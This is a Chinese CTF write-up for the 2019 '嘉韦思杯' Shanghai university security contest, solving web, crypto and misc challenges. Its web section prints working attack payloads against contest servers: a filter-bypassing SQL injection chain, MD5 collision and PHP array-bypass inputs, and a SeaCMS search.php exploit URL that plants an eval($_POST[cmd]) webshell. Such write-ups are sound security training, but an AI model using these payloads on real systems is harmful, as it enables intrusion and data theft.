“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全
比赛时间:3月30日9:00-21:00
比赛网站:ctf.ecnu.edu.cn
Web1 土肥原贤二 100pt
题目 查询在页面URL处尝试提交
gid=1'
报错,gid=1or1=1
回显正常,直接使用 sqlmap进行测试,得到flag:
sqlmap
得到flag:
flag{20_welcome_19 }
Web2 戴星炳 200pt
题目题目提示
根据题目要求在2s快速提交正确结果即可获取flag,Python脚本如下:
# coding=utf-8
import io
import re
import requests
s = requests.Session()
url = "http://47.103.43.235:82/web/a/index.php"
req = s.get(url)
str= req.content
print(str.decode('utf-8'))
tmp = re.search(r'</p><p>(.*)</p>',str.decode('utf-8'))
print(tmp.group(1))
key_value = {
"result": eval(tmp.group(1))
}
print(eval(tmp.group(1)))
req = s.post("http://47.103.43.235:82/web/a/index.php", data=key_value)
print(req.text)
运行结果:flag{Y0U4R33o_F4ST!}。
Web3 MD5碰撞
题目右键查看源代码,发现提示
图片.png网上查阅资料,进行MD5碰撞即可
Payload:
param1=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%16%B4%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%DC%9F%95ab%D2%09P%A1%5D%12%3B%1ETZ%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29%EF%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%1E%7Ch%B0%96%A7%E5U%EBn1q%CA%D0%8B%C7%1BSP
¶m2=
%D89%A4%FD%14%EC%0EL%1A%FEG%ED%5B%D0%C0%7D%CAh%164%DFl%08Z%FA%1DA%05i%29%C4%FF%80%11%14%E8jk5%0DK%DAa%FC%2B%5C%A0%95ab%D2%09P%A1%5D%12%3B%1ET%DA%AA%92%16y%29%CC%7DV%3A%FF%B8e%7FK%D6%CD%1D%DF/a%DE%27%29o%08%FC%C0%15%D1%1B%14%C1LYy%B2%F9%88%DF%E2%5B%9E%7D%04c%B1%B0%AFj%9E%7Bh%B0%96%A7%E5U%EBn1q%CA%D0%0B%C7%1BSP
图片.png
得到:
flag{MD5@_@success}
Web4 SeaCMS
题目参考Seacms漏洞分析利用复现 By Assassin Search.php漏洞利用姿势,写入一句话木马,用Cknife连接之。
漏洞PloyloadPloyload:http://47.103.43.235:84/search.php?searchtype=5&tid=&area=eval($_POST[cmd])
在根目录下发现flag.txt,获取flag{!!seacms_@@}
。
Web5 Break the sha
图片.pngF12查看源代码发现
,存在源代码泄露,访问下载index.phps文件打开获取:源代码
name与password字段用 ==弱类型进行比较,sha1用 ===进行强类型比较,可以用数组绕过。
Payload:
name[]=1&password[]=2
回显:得到
flag{Y0ujustbr0ke_sha1}
回显
Web6 SQLi2
题目观察到 id===MQ,QM==是1的Base64编码,推测为Base64编码后逆序传值。
手工注入测试发现过滤了 and、 or、 select、 union关键字,去除了单引号、双引号、等号、空格等字符,可以双写绕过关键字的过滤,采用 /**/绕过空格,使用字符窜的hex编码绕过引号以及使用 regexp或like绕过等号。
- 查询字段
1/**/oorrder/**/by/**/6
- 爆数据库:
-1/**/uniunionon/**/selselectect/**/1,group_concat(schema_name),3,4,5,6/**/from/**/infoorrmation_schema.schemata--
爆数据库
或者1/**/ununionion/**/selselectect/**/database(),2,3,4,5,6
得到当前使用ctf_sql数据库
- 爆ctf_sql中的表
-1/**/uniunionon/**/selselectect/**/1,group_concat(table_name),3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/regexp/**/0x6374665f73716c--
爆ctf_sql中的表
1/**/ununionion/**/selselectect/**/group_concat(table_name),2,3,4,5,6/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()
得到数据表book,flag
- 爆flag中的列
1/**/uniunionon/**/selselectect/**/1,group_concat(column_name),3,4,5,6/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/regexp/**/0x666c6167--
爆flag中的列
得到字段flag
- 获取flag
-1/**/uniunionon/**/selselectect/**/1,group_concat(flag),3,4,5,6/**/from/**/flag--
获取flag
得到
flag{s9li_1s_s0_e4sY}
Crypto1 神秘代码
题目Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE
在Base64解密不断进行B64解密得到:fB__l621a4h4g_ai{&i}
零散看到flag,明显是栅栏密码,每组字符数 5,进行解密
得到
flag{B64&2hai_14i}
Crypto2 神秘代码2
题目观察发现
f比b ASCII大4
l比 q ASCII 大 5
a 比[ ASCII 大 6
g比` ASCII 大 7
猜想接下来的明文ASCII 比 密文ASCII 大8,9,10,11
Ployload:
str="bg[`sZ*Zg'dPfP`VM_SXVd"
j=0
str1 = ''
for i in range(4,26):
str1 += chr(ord(str[j])+i)
j=j+1
print str1
Crypto3 希尔密码
题目给出加密矩阵和密文求明文,这里可以参考希尔密码解密过程求出33解密矩阵:
[[8,16,27],[8,99 ,24],[27,24,27]],这里乘上34密文矩阵 [[23,10,12,24],[16,2,25,3,],[9,0,9,5]]得到矩阵:
矩阵
对26进行取余后转化为字符打印得到 hillisflagxx,C++脚本:
#include <iostream>
using namespace std;
int a[12] = {683,112,739,375,1984,278,2787,609,1248,318,1167,855};
int main() {
for(int i = 0; i < 12; i++) {
cout << (char)('a' + a[i] % 26);
}
return 0;
}
Crypto4 RSA256
拿到公钥和密文
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
0bXTcqTQiRLZAgMBAAE=
-----END PUBLIC KEY-----
修改文件后缀为pem
通过openssl进行分解得到n和e,在通过yafu-x64分解得到 p和q,使用python脚本得到私钥
# coding=utf-8
import math
import sys
import libnum
from Crypto.PublicKey import RSA
keypair = RSA.generate(1024)
keypair.p =273821108020968288372911424519201044333
keypair.q =280385007186315115828483000867559983517
keypair.e = 65537
keypair.n = keypair.p * keypair.q
Qn = long((keypair.p-1) * (keypair.q-1))
keypair.d=libnum.invmod(keypair.e,Qn)
private = open('private.pem','w')
private.write(keypair.exportKey())
private.close()
再使用 openssl,修改fllllag.txt文件为flag.enc
rsautl -decrypt -in flag.enc -inkey private.pem解密得到flag{2o!9CTFECUN}
Misc1 奇怪的单点音
播放音频有明显的杂音和3次嘟声,尝试用 Aduacity打开分析,观察频谱图发现flag字段:
题目
观察到字符串(含下划线)共32位,疑似MD5加密,根据文件信息发现多次出现0,将下划线替换成0,ChaMd5.org成功解密。
文件信息 解密
Misc2 二维码
题目首先扫描二维码,未发现有用信息,下载图片尝试使用 binwalk进行探测,发现存在压缩包文件,得到Hint:解压密码为管理人员的QQ号,使用binwalk -e 分离后使用ARCHPR进行爆破。
爆破
获取密码 674290437,解压得到flag{d6@YX$_m^aa0}。
得到flag
Misc3 jsfuck
题目Base64解码后得到 jsfuck加密的js脚本,直接复制在控制台Console运行即可获取flag{sdf465454dfgert32}。
解密Crypto&Misc&RE题目下载链接: https://pan.baidu.com/s/10tlJmUVZtekuYNgTi9eCNQ 提取码: bkiv
参考资料:
“嘉韦思杯”上海市高校网络安全邀请赛暨华东师范大学第二届网络安全夺旗赛预赛wp公布
2019“嘉韦思杯”上海市网络安全邀请赛WriteUp
2019年上海“嘉韦思杯”WP
http://www.mamicode.com/info-detail-2647027.html
2019 嘉韦思杯 除re wp
2019年嘉韦思杯wp